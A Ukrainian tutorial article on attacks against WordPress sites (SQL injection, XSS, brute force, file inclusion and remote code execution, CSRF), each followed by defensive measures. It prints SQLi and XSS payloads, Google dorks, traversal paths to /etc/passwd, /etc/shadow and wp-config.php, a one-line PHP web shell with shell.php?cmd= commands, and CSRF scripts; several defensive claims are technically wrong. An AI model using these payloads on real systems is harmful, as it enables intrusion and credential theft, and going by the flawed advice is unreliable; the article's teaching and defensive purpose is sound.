Техніки злому і способи захисту CMS WordPress

За останнє десятиліття популярність систем управління контентом CMS WordPress стрімко зросла, привернувши увагу як розробників, так і хакерів. Ця платформа здобула широке визнання серед користувачів своєю простотою використання та функціональністю, проте її популярність також призвела до зростання кількості кібератак на веб-сайти, побудовані на WordPress. У цій статті я розгляну деякі поширені техніки злому, які використовують хакери для пентесту CMS WordPress, а також обговоримо ефективні способи захисту вашого веб-сайту. Знання цих методів допоможе вам зрозуміти потенційні загрози та вжити необхідні заходи для забезпечення безпеки вашого сайту на базі WordPress.

SQL-ін’єкція

SQL-ін’єкція (SQL Injection) – це вид атаки на веб-додатки, при якій зловмисник впроваджує шкідливі SQL-запити у вхідні дані, що передаються до бази даних. Це відбувається тоді, коли веб-додаток належним чином не перевіряє або не екранує вхідні дані, дозволяючи зловмиснику впровадити додатковий SQL-код у запити до бази даних.

Сценарій атаки

Передумови:

• Хакер має базові знання про SQL, зокрема структури бази даних WordPress, та володіє відповідними автоматизованими інструментами для пошуку і експлуатації вразливостей, наприклад SQLmap, Cobalt Strike, Burp Suite та інші.
• Цільовий веб-сайт працює на CMS WordPress і використовує MySQL базу даних для зберігання інформації.

Підготовка атаки:

• Хакер аналізує вихідний код веб-сайту у пошуку вразливих веб-елементів, де може бути використана SQL-ін’єкція:
  • Ручне тестування усіх веб-елементів: форми авторизації і реєстрації, поля пошуку, форми зворотного зв’язку, форми підписки, форми завантаження файлів, форми коментування.
  • Парсинг веб-сторінок і фаззінг параметрів URL. Пошук сторінок з системними помилками, URL-адрес з динамічними параметрами, таким як id, page, category, gallery і т.д.
  • Енумерація плагінів і тем WordPress на наявність вразливостей SQL-ін’єкцій.
  • Пошук з допомогою операторів Google Dorks:
    • Пошук сайтів з динамічним параметром “id”:
      • site:example.com inurl:id
      • site:example.com intext:"id="
      • site:example.com intitle:"id="
      • site:example.com filetype:php?id=
    • Пошук сайтів з динамічним параметром “page”:
      • site:example.com inurl:page
      • site:example.com intext:"page="
      • site:example.com intitle:"page="
      • site:example.com filetype:php?page=
    • Пошук сайтів з динамічним параметром “gallery”:
      • site:example.com inurl:gallery
      • site:example.com intext:"gallery="
      • site:example.com intitle:"gallery="
      • site:example.com filetype:php?gallery=
    • Пошук сайтів з динамічним параметром “category”:
      • site:example.com inurl:category
      • site:example.com intext:"category="
      • site:example.com intitle:"category="
      • site:example.com filetype:php?category=

Експлуатація:

• Хакер вводить та надсилає шкідливий код у вразливе поле або параметр URL-адреси. Цей код складається з комбінації різних спеціальних символів, наприклад одинарні та подвійні лапки, знаки “-” та “+”, команд SQL (UNION, SELECT і ін.)
• Код надсилається як SQL-запит до бази даних та виконується завдяки недостатній обробці та перевірці даних.

Наслідки:

• Хакеру вдається виконати шкідливий SQL-код на стороні сервера бази даних. Це може призвести до виконання різних несанкціонованих дій, залежно від цілей хакера, наприклад:
  • Отримання конфіденційних даних з бази даних, таких як логіни, паролі, персональна інформація користувачів тощо.
  • Модифікація, видалення або додавання даних до бази даних.
  • Відправлення інших SQL-запитів, які можуть спричинити витік інформації або суміжні атаки.
  • Хакер може отримати несанкціонований доступ до даних, змінити вміст веб-сайту або навіть заволодіти контролем над системою.

Приклад атаки

' OR '1'='1';--

Атакуючий вводить цей шкідливий код SQL в поле коментаря або поле для пошуку на сайті WordPress. Сервер не перевіряє і не очищає вхідні дані від зайвих символів. У результаті виконується запит до MySQL WordPress бази даних:

SELECT * FROM wp_comments WHERE comment_author = '' OR '1'='1';--

Шкідливий код ' OR '1'='1' вставляється в умову запиту, що завжди повертає істинне значення. Це дозволяє атакуючому отримати доступ до всіх записів у таблиці коментарів.

Інший приклад:

https://example.com/page.php?id=1' OR '1'='1';--

Атакуючий знаходить URL з вразливим параметром “id” і вставляє код ін’єкції як значення параметра URL. У висновку, вразливий сервер не перевіряє вхідні дані і виконує шкідливий SQL-запит.

Способи захисту

1. Екрануйте та фільтруйте вхідні дані. Перед використанням вхідних даних в SQL-запитах, впевніться, що ви фільтруєте та екрануєте їх. Використовуйте функції, такі як wpdb::prepare() або esc_sql(), щоб екранувати вхідні дані та уникнути несанкціонованого виконання SQL-коду.
2. Використовуйте практику “найменшого надання прав”. Налаштуйте доступ до бази даних з мінімальними привілеями. Використовуйте окремого користувача бази даних для з’єднання з WordPress, якому надано лише необхідні права для виконання запитів, а не повний доступ до бази даних з правами адміністратора root.
3. Оновлюйте ядро WordPress, теми та плагіни. Розробники випускають оновлення, які виправляють вразливості, включаючи ті, що пов’язані з SQL-ін’єкцією. Тому важливо мати оновлену версію WordPress та всіх використовуваних компонентів.
4. Використовуйте плагіни безпеки WordPress. До прикладу, установіть та налаштуйте Wordfence Security + Sucuri Security або інші плагіни, які допоможуть виявляти та запобігати атакам SQL-ін’єкції.
5. Відключіть відображення помилок та збоїв на сайті. Помилки можуть надати хакерам додаткову інформацію про структуру бази даних та потенційні вразливості. Зробити це можна наступним чином:
   1. Відкрийте файл wp-config.php, який знаходиться в кореневій директорії вашого сайту WordPress.
   2. Знайдіть рядок коду define('WP_DEBUG', true);.
   3. Змініть значення true на false, щоб вимкнути режим налагодження помилок. Рядок коду має виглядати так: define('WP_DEBUG', false);.
   4. Збережіть зміни у файлі wp-config.php і завершіть процес.
6. Застосовуйте коректні права доступу до файлів та директорій WordPress. Забезпечте, щоб лише необхідні файли були доступні для запису або виконання, а решта була захищена:
   1. Файли. Зазвичай, права доступу до файлів у WordPress повинні бути встановлені на 644. Це означає, що власник файлу має права на читання та запис, а інші користувачі мають тільки права на читання. Ви можете застосувати ці права доступу до всіх файлів у кореневій директорії WordPress.
   2. Папки. Для папок в кореневій директорії WordPress права доступу повинні бути встановлені на 755. Це означає, що власник папки має права на читання, запис і виконання, а інші користувачі мають тільки права на читання і виконання. Ви можете застосувати ці права доступу до таких папок, як wp-admin, wp-includes та інші папки у кореневій директорії WordPress.
   3. wp-config.php. Це головний файл конфігурації WordPress, він містить доступи для підключення до бази даних. Щоб забезпечити його безпеку, ви можете перенести його на один рівень ієрархії вище та встановити права доступу до wp-config.php на 600. Це означає, що тільки власник файлу має повний доступ до нього, а інші користувачі не мають доступу до читання, запису або виконання цього файлу.
   4. Плагіни та теми. Коли ви встановлюєте плагіни або теми з офіційного репозиторію WordPress, вони зазвичай будуть мати правильні права доступу. Але якщо ви завантажуєте плагіни або теми з інших джерел, переконайтеся, що права доступу до цих файлів і папок встановлені на 644 або 755 відповідно.
7. Відключіть лістинг директорій WordPress – публічне відображення папок і файлів у вигляді файлового менеджера. Наприклад, файли завантаження можуть бути збережені в папці wp-content/uploads і кожен відвідувач сайту буде мати змогу переглядати список файлів і папок. Відключити Directory Listing можна наступним чином:
   1. Відкрийте файл .htaccess, який знаходиться в кореневій директорії вашого сайту WordPress. Якщо файл .htaccess не існує, ви можете створити його вручну.
   2. Додайте наступний код у файл .htaccess: Options -Indexes. Цей код змінює налаштування сервера і забороняє лістинг директорій, що означає, що будь-яка спроба доступу до папок без наявного файлу індексу буде відхилена.
   3. Збережіть зміни у файлі .htaccess.
8. Використовуйте довгі складні паролі, які складаються з комбінації цифр, різних символів верхнього та нижнього регістрів. Встановлюйте міцні паролі для всіх облікових записів WordPress, включаючи адміністратора, базу даних і FTP.
9. Підключіть фаєрвол, наприклад WAF Cloudflare. Налаштуйте всі опції безпеки, які допоможуть виявляти та блокувати кібератаки, зокрема спроби SQL-ін’єкцій та інші зловмисні операції на рівні додатка/сервера.

XSS-атака

XSS (Cross-Site Scripting) атака – це вид атаки на веб-додатки, при якій зловмисник вставляє шкідливий код на веб-сторінку, який потім виконується у браузері користувача.

Сценарій атаки

Передумови:

• Веб-сайт працює на CMS WordPress.
• На цільовому веб-сайті використовуються поля, форми, елементи, які дозволяють користувачу вводити дані.

Підготовка атаки:

• Хакер проводить розвідку з відкритих джерел, застосовує фаззінг і енумерацію, досліджує файли і директорії сайту, у висновку знаходить вразливі веб-елементи.

Експлуатація:

• Хакер надсилає шкідливий код через вразливі веб-елементи. Дані ніяк не фільтруються/екранізуються збоку сайту/сервера. Сервер приймає дані, зберігає у базі даних і публікує на сайті.

Наслідки:

• Зловмисний код відображається на веб-сторінці. Коли користувач відвідує її, веб-браузер виконує скрипт, що виконує різні несанкціоновані дії. Наприклад, перехоплення cookie, сесій, даних авторизації користувача, відправлення конфіденційних даних на сервер хакера, шкідливі редиректи, вкраплення шкідливого посилання на сайт і навіть підміна вмісту сайту.
• Користувачі, які відвідують сторінку зі зловмисним кодом, можуть стати жертвами фішингових атак, втратити конфіденційну інформацію або стати частинкою бот-мережі.

Приклад атаки

<script>alert('XSS-атака');</script>

Хакер публікує вищенаведений код у формі для коментування. Коли інші користувачі відвідують сторінку з коментарями, браузери виконують JavaScript-код, включений зловмисником. У результаті, браузери відвідувачів відображають вікно спливаючого повідомлення з текстом “XSS-атака”. Подібним чином можна вбудувати будь-який шкідливий код, наприклад реалізувати крадіжку кукі (alert('document.cookie')), якщо сервер не фільтрує і не екранізує дані, котрі публікує користувач.

Способи захисту

1. Встановити мережевий фаєрвол на рівні сервера (CSF, IPTables).
2. Встановити фаєрвол на рівні веб-додатка (Wordfence, AIO Security, Sucuri Security)
3. Підключити зовнішній WAF від Cloudflare і активувати захист від мережевих атак.
4. Налаштувати моніторинг подій на сайті і фільтрацію IP-адрес відвідувачів.
5. Налаштувати фільтрацію HTTP-запитів (GET, POST, HEAD та ін.).
6. Налаштувати створення чорних списків заборонених запитів/слів/рядків на сайті, наприклад <script>alert(1)</script> і подібне, щоби унеможливити фаззінг, брут, енумерацію і т.д.
7. Налаштувати санітизацію (очищення) будь-якого шкідливого вхідного коду, який може відправляти користувач.
8. Стиснути і мініфікувати вихідний код сайту, щоби ускладнити його прочитання хакером (HTML/CSS/JS compress, minify).
9. Будь-який чутливий код в тілі сайту має бути проведений через обфускацію (процедура заплутування, шифрування). Забезпечити належну екранізацію вхідних даних. Використовуйте функції, такі як sanitize_text_field() або esc_html(), щоб забезпечити належну обробку введених користувачем даних перед їх відображенням.
10. Усі форми на сайті, наприклад форми зворотного зв’язку або форми замовлення товарів мають бути захищені капчею (Google reCaptcha, Cloudflare captcha) і мати CSRF-токени, щоби унеможливити атаки міжсайтового скриптингу – підробку і перехоплення даних.
11. Усі поля пошуку, поля для вводу даних, кнопки, підписки та інші інтерактивні, інтегровані веб-елементи – так само мають бути захищені капчею.
12. Будь-який доданий вміст на сайті має бути попередньо перевірений і лише згодом схвалений, щоби унеможливити потрапляння шкідливого коду в базу даних. Наприклад, захистити форми коментарів від спаму, заборонити використовувати HTML/CSS код у коментарях, відправку файлів різних форматів на сайт, заборонити використання в якості імені користувача url-посилання і т.д.
13. Заборонити публічний доступ до будь-яких динамічних, службових URL-адрес сайту. Сторінок входу і авторизації, адміністративних частин.
14. Надійно захистити усі TCP/UDP-порти, залишивши публічно доступними лише – 443 і 80.
15. Встановити двофакторну авторизацію на сайті.
16. Обмежити доступ до REST API (wp-json).
17. Відключити вбудований планувальник завдань WP-CRON, активувати серверний cronjob.
18. Заборонити публічний доступ до служби XMLRPC (/xmlrpc.php).
19. Регулярно оновлювати всі плагіни і ядро WordPress. Не користуватися null-ed темами і плагінами (містять бекдори).
20. Встановити надійний Cloudflare SSL-сертифікат, відключити TLS 1.0-1.1, включити TLS 1.2-1.3 та налаштувати усі HTTP-заголовки безпеки (HSTS, CSP, X-Frame-Options і ін. )
21. Регулярно переглядати системні журнали: access.log, errror.log, debug.log та усувати технічні помилки на сайті.

Brute Force атака

Brute Force атака – це метод зламу, при якому зловмисник систематично намагається перебрати всі можливі комбінації паролів, доки не знайде правильний пароль або не отримає несанкціонований доступ до облікового запису чи системи. У цьому методі атаки використовується автоматизований скрипт або програма, яка послідовно перебирає можливі комбінації паролів шляхом спроб входу.

Сценарій атаки

Передумови:

• Публічний доступ до сторінки авторизації WordPress.
• Наявність вразливості в системі автентифікації, яка дозволяє зловмисникам проводити багатократні спроби вгадування логінів і паролів.
• Хакер має в наявності сторонні інструменти або програм, які можуть автоматизувати процес атаки.

Підготовка атаки:

• Хакер сканує веб-сайти на базі CMS WordPress на виявлення сторінок авторизації в адмін-панель.
• Хакер збирає інформацію про цільовий веб-сайт, включаючи список користувачів, їхні логіни та публічні імена.

Експлуатація:

• Хакер використовує спеціальні програми або скрипти, щоб автоматично надсилати багатократні запити на веб-сайт з різними комбінаціями логінів та паролів.
• Ці запити виконуються швидко, намагаючись зламати аутентифікаційний механізм, шляхом вгадування правильних комбінацій для різних користувачів WordPress.
• Атакуюча програма або скрипт продовжує надсилати запити з різних IP-адрес або через проксі-сервери, щоб уникнути блокування IP.

Наслідки:

• Якщо атака брут-форс була успішною, хакеру вдасться отримати доступ до адмін-панелі WordPress і облікових записів користувачів.
• Хакер може змінювати, видаляти або додавати контент на веб-сайт, незаконно отримувати доступ до конфіденційної інформації або поширювати шкідливі програми.
• Внаслідок атаки можуть постраждати репутація веб-сайту та його власників, а також фінансові збитки, особливо якщо сайт використовується для електронної комерції або містить конфіденційну інформацію користувачів.

Способи захисту

1. Використовуйте міцні паролі: Встановіть складні паролі для всіх облікових записів, включаючи адміністратора. Паролі повинні бути довгими, містити комбінацію великих і малих літер, цифр та спеціальних символів.
2. Активуйте двофакторну автентифікацію (2FA): Використання 2FA додасть додатковий шар безпеки, вимагаючи від користувачів надати додатковий код або підтвердження при вході на сайт.
3. Встановіть обмеження на кількість невдалих спроб входу: Використовуйте плагіни або налаштування, щоб обмежити кількість невдалих спроб входу з одного IP-адреси. Це допоможе унеможливити масові атаки брут-форс.
4. Змініть URL для входу в адмін-панель: За замовчуванням адреса для входу в адмін-панель WordPress має шаблон “/wp-admin/”. Зміна цього шаблону може унеможливити зловмисникам знаходити сторінку входу.
5. Використовуйте плагіни безпеки: Існує кілька популярних плагінів безпеки, які можна встановити на WordPress для підвищення безпеки сайту, включаючи обмеження IP, контроль невдалих спроб входу та виявлення підозрілих активностей. Наприклад, WordFence Security, Sucuri Security, All-in-One-Security.
6. Оновлюйте WordPress та його плагіни: Регулярне оновлення WordPress і всіх використовуваних плагінів дуже важливо, оскільки оновлення включають в себе заходи безпеки і виправлення вразливостей.
7. Використовуйте веб-брандмауери і захист від мережевих атак: Встановлення веб-брандмауерів і засобів захисту від DDoS може допомогти уникнути масових атак на сайт і зменшити навантаження на сервер. Приклад захисту від мережевих атак – CDN Cloudflare.
8. Обмеження доступу до файлу wp-login.php: Використовуйте правила веб-сервера (наприклад, через файл .htaccess), щоб обмежити доступ до файлу wp-login.php лише з відомих IP-адрес або виключити певні IP-адреси, відомі з атак.
9. Моніторинг журналів входу: Регулярно перевіряйте журнали входу на своєму веб-сервері, щоб виявити будь-які підозрілі або невдалих спроб входу. Це може допомогти виявити потенційні атаки брут-форс.
10. Встановити плагін для обмеження доступу: Використовуйте плагін, який обмежує доступ до списку користувачів або забороняє доступ до публічного відображення списку користувачів. Наприклад, плагін “Stop User Enumeration” дозволяє блокувати спроби енумерації користувачів.
11. Змінити налаштування посилань на авторів: За замовчуванням WordPress може відображати посилання на авторів сайту у вигляді /author/username/. Ви можете змінити ці налаштування, використовуючи плагін “Change Author Slug” або шляхом редагування файла .htaccess, щоб унеможливити енумерацію користувачів.
12. Перевірити права доступу до API: Переконайтеся, що права доступу до REST API обмежені, якщо вони необхідні. Ви можете встановити плагін “Disable REST API” або налаштувати обмеження доступу до API безпосередньо в файлі .htaccess.

LFI/RFI/RCE-атаки

LFI (Local File Inclusion) – це тип атаки, при якій зловмисник намагається отримати доступ до локальних файлів на сервері. Зловмисник намагається вплинути на обробку вхідних даних таким чином, щоб сервер сприймав їх як шлях до локального файлу і включав його в вихідну відповідь.

RFI (Remote File Inclusion) – це тип атаки, при якій зловмисник може виконати свій код або отримати доступ до чутливої інформації на сервері через зовнішній файл.

RCE (Remote Code Execution) – це тип атаки, що дозволяє зловмиснику виконувати команди операційної системи або запускати віддалені програми на скомпрометованому сервері.

Сценарій атаки:

Передумови:

• Цільовий сайт на базі CMS WordPress без валідації вхідних даних та параметрів URL, з відсутнім файєрволом.
• В арсеналі хакера є бази даних вразливостей та автоматизовані сканери для знаходження вразливих місць експлуатації LFI. Приклад сканерів: Burp Suite, OWASP Zap, Acunetix, XSStrike, Xenu, Screaming Frog.

Підготовка атаки:

• Хакер аналізує вихідний код WordPress-тем та плагінів для виявлення потенційних вразливостей. Аналізуються скрипти, функції та параметри, що використовуються для завантаження файлів. Наприклад, якщо хакер знайде у вихідному коді ось такий рядок include($_GET['file']);, то це означає, що сайт дозволяє вкладення і він зможе спробувати провести LFI.
• Хакер аналізує URL-структуру сайта. В цьому можуть допомогти  такі утиліти командого рядка Linux як: Nuclei, Photon, Webpalm, Curl, Wget, Dirb, Dirhunt, Dirbuster, FFUF та ін.
• Хакер також попередньо готує виконувані файли зі шкідливим кодом. Це може бути PHP-скрипт або будь-яким інший тип файлу (наприклад, замаскований під зображення), який приймає сервер. Приклад вихідного коду такого файлу: <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
• Хакер виявляє на сайті веб-форми з можливістю прикріплення або завантаження файлів на сервер (через POST і GET методи). Це можуть бути форми зворотного зв’язку, форми додавання коментарів, будь-які інші форми і поля відправки даних. Хакер може спробувати обійти захист завантаження файлів, застосувавши різні формати, такі як: .phtml, .php3, .php4, .php5, .php7, .phps, .php-s, .pht, .phar, .jpg.php тощо.
• Хакер виявляє веб-посилання, які можна використати для проведення LFI/RFI.
• Хакер виявляє веб-адреси з вразливими URL-параметрами (file, page, id), що дозволяють йому виконувати запити через адресний рядок браузера та маніпулювати:
  • Наприклад, додати ../ для переходу до батьківського каталогу або вказати конкретний шлях на сервері:
    • Шлях до файлів конфігурації:
      • http://example.com/index.php?page=/etc/passwd
      • http://example.com/index.php?file=../../../../etc/passwd
      • ../etc/passwd
      • ../proc/version
      • ../etc/issue
      • ../etc/shadow
      • ../etc/crontab
      • ../proc/self/
      • ../proc/self/environ
      • список інших команд знайдете тут.
    • Шлях до файлів логів:
      • http://example.com/index.php?file=/var/log/apache2/access.log
      • ../var/log/apache/access.log
      • ../var/log/apache/error.log
      • ../usr/local/apache/log/error_log
      • ../usr/local/apache2/log/error_log
      • ../var/log/httpd/error_log
      • ../var/log/nginx/access.log
      • ../var/log/nginx/error.log
      • ../etc/nginx/nginx.conf
      • ../spool/logs/nginx-access.log
      • ../var/log/sshd.log
      • ../var/log/maillog
    • Шлях до службових файлів WordPress:
      • http://example.com/index.php?page=../wp-config.php
      • http://example.com/index.php?file=../../wp-config.php
      • http://example.com/index.php?page=../wp-content/themes/mytheme/functions.php
      • http://example.com/index.php?file=../../wp-content/plugins/myplugin/file.php
      • ../wp-admin/admin-ajax.php?action=duplicator_download&file=/../wp-config.php
      • ../wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd

• • • Хакер також може спробувати провести атаку віддаленого виконання шкідливого файлу (Remote File Inclusion), наприклад:
      • http://example.com/index.php?file=https://example.com/malware.php
    • Пошук LFI/RFI вразливостей через пошукові оператори Google Dorks:
      • site:example.com inurl:index.php?id=
      • site:example.com inurl:.php?id=
      • site:example.com inurl:index.php?file=
      • site:example.com inurl:.php?file=
      • site:example.com inurl:/wp-content/plugins/ intext:"require_once"
      • site:example.com ext:php intext:"include" inurl:wp-
      • site:example.com inurl:/wp-content/themes/ intitle:"index of" -inurl:style.css
      • site:example.com inurl:wp-login.php?redirect_to=
      • inurl:/wp-content/plugins/ intitle:"index of" intext:"wp-includes"
      • site:example.com inurl:/wp-admin/admin.php?page=
      • site:example.com inurl:/wp-content/plugins/ intext:"Template Name: Theme Name"
      • site:example.com inurl:/wp-content/themes/ intext:"wp_enqueue_script(" intext:"wp_enqueue_style("
      • inurl:"index.php?page=news.php"
      • inurl:"?page=news.php"
      • inurl: “index.php?p=”
      • allinurl:page=contact.php
      • inurl:"/get.php?file="
      • site:example.com inurl:/getUserProfile.jsp?item=
      • site:example.com inurl:/index.php?file=
      • site:example.com inurl:/main.cgi?home=

Експлуатація:

• Хакер виконує шкідливий URL-запит або завантажує шкідливий файл через веб-форму. Якщо сервер допускає LFI атаку, веб-додаток може показати на сервері вміст файлу або виконати завантажений хакером шкідливий файл.
• За умови, якщо хакеру вдалося завантажити шкідливий файл, він може проексплуатувати вразливість виконання віддалених команд OS Linux, відкривши цей файл і підставивши відповідні значення в параметрі:
  • https://example.com/uploads/shell.php?cmd=ifconfig
    • ..=whoami
    • ..=uname -a
    • ..=sudo -l
    • ..=ps
    • ..=env
    • ..=id
    • ..=history
    • ..=ifconfig
    • ..=phpinfo();

Наслідки:

• Хакер може переглядати вміст службових файлів і директорій, виконувати власний код на сервері та отримати несанкціонований доступ до системи.

Способи захисту

1. Виконуйте належну перевірку та фільтрацію будь-яких вхідних даних: Перед прийняттям та обробкою прикріплених файлів, перевірте їх тип, розмір, розширення та інші характеристики. Також перевірте, чи є файли прикріпленими до дозволених директорій та виключіть можливість завантаження файлів з виконуючим кодом. Використовуйте функції, такі як filter_input() або sanitize_text_field() для очищення вхідних даних.
2. Використовуйте відокремлену обробку файлів: Розгляньте можливість використання спеціального серверу або служби для обробки прикріплених файлів, яка виконується в ізольованому середовищі.
3. Застосовуйте обмеження прав доступу: Обмежте доступ до каталогів, де зберігаються прикріплені файли, і дозвольте тільки необхідні права на читання/запис. Налаштуйте конфігурацію сервера таким чином, щоб включення файлів було обмежене лише до дозволених шляхів. Використовуйте безпечні методи включення файлів: Замість використання include() або require() для включення зовнішніх файлів, використовуйте функції, такі як include_once() або require_once(). Вони перевіряють, чи файл вже був включений, щоб уникнути повторного включення.
4. Використовувати відповідні фільтри та санітайзери для полів коментарів та інших вхідних даних, щоб забезпечити безпеку введених даних.
5. Оновлюйте веб-додатки та плагіни: Регулярно оновлюйте вашу систему керування вмістом, таку як WordPress, та всі плагіни до останніх версій, оскільки розробники часто випускають оновлення для виправлення вразливостей.
6. Використовуйте надійну аутентифікацію: Застосовуйте сильні паролі, активуйте двофакторну аутентифікацію та обмежуйте доступ до адміністративного інтерфейсу тільки необхідним користувачам.
7. Використовуйте файрволи та системи виявлення вторгнень для моніторингу та блокування потенційно шкідливих запитів.
8. Використовувати тільки довірені теми та плагіни, з активною підтримкою від розробників.
9. Використовуйте валідатори та аудитори коду: Використовуйте інструменти, такі як PHP CodeSniffer або PHPStan, для перевірки свого коду на наявність потенційних уразливостей та дотримання кращих практик безпеки.
10. Приділіть увагу захисту API та Ajax ресурсів.

CSRF-атака

CSRF (Cross-Site Request Forgery) атака – це вид атаки на веб-додатки, при якій зловмисник змушує автентифікованого користувача виконати небажані дії без його згоди або відомості. Ця атака використовує довіру, яку веб-додаток має до запитів, що надсилаються від автентифікованого користувача.

Сценарій атаки

Передумови:

• Веб-сайт розроблений на базі CMS WordPress.
• Атакуючий має знання про CSRF-атаки та вразливості WordPress.
• Атакуючий має можливість залучити користувачів до виконання підготовлених ним дій.

Підготовка атаки:

• Атакуючий аналізує веб-сайт і виявляє можливість використання CSRF-вразливості.
• Атакуючий створює зловмисний сайт або підготовлює спеціально сформовані URL-посилання зі шкідливими запитами для експлуатації CSRF.

Експлуатація:

• Атакуючий поширює посилання на зловмисну сторінку або включає його відповідним чином на інших веб-сайтах, форумах, соціальних мережах або надсилає жертві через електронну пошту.
• Ці посилання маскується під звичайні, привабливі для користувачів веб-сторінки.
• Користувачі, що переходять за посиланнями, не підозрюють, що виконують певні дії у своєму обліковому записі. Ці дії можуть включати зміну пароля, виконання фінансових операцій, видалення даних або будь-які інші дії, на які користувач має права.

Наслідки:

• Атакуючий зловживає довірою користувача і виконує від його імені різні небажані дії в обліковому записі, наприклад:
  • Може переказувати гроші з одного банківського рахунку на інший. Якщо на сайті використовуються такі технології.
  • Додавати або видаляти вміст на веб-сайті від вашого імені. Якщо жертва є адміністратором веб-сайту, то зловмисник отримує контроль над усім сайтом.
  • Змінити пароль користувача. Якщо жертва увійшла у свій обліковий запис, зловмисник може просто підробити запит на зміну електронної пошти. Після цього він може підробити запит на скидання пароля та отримати повний контроль над обліковим записом жертви.
  • Додавати товари до кошика користувача або змінити адресу доставки замовлення. Багато веб-сайтів мають сторінку типу «Мій обліковий запис», на якій зберігається інформація про користувача. Ця сторінка часто дозволяє користувачеві змінювати свою адресу або вміст свого кошика. У разі атаки CSRF зловмисник може змінити цю інформацію.
  • Наслідками також можуть бути: пошкодження репутації, доступ до конфіденційної інформації, поширення шкідливого вмісту та інші негативні наслідки.

Приклади атаки:

<a href="https://target-website.com/delete-account" onclick="sendCSRFRequest()">Delete My Account</a>
<script>
function sendCSRFRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target-website.com/delete-account", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=delete");
}
</script>

У цьому прикладі, коли користувач клікає на посилання “Delete My Account”, виконується JavaScript-функція sendCSRFRequest(). Ця функція створює AJAX-запит до цільового веб-сайту (https://target-website.com/delete-account) з методом POST. У запиті передається параметр action=delete, який вказує на дію видалення облікового запису.

<a href="https://example.com/wp-admin/post.php?action=delete&post_id=123" onclick="var xhr = new XMLHttpRequest(); xhr.open('POST', '/wp-admin/post.php?action=delete&post_id=123'); xhr.send(); return false;">Delete Post</a>

<a href="https://example.com/wp-comments-post.php" onclick="
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-comments-post.php');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'comment=This is a CSRF comment&author=Attacker&[email protected]&comment_post_ID=123&action=comment&submit=Post+Comment';
xhr.send(params);
return false;
">Post Comment</a>

GET /vulnerable-endpoint?url=http://internal-resource.com/confidential-data HTTP/1.1
Host: target-website.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*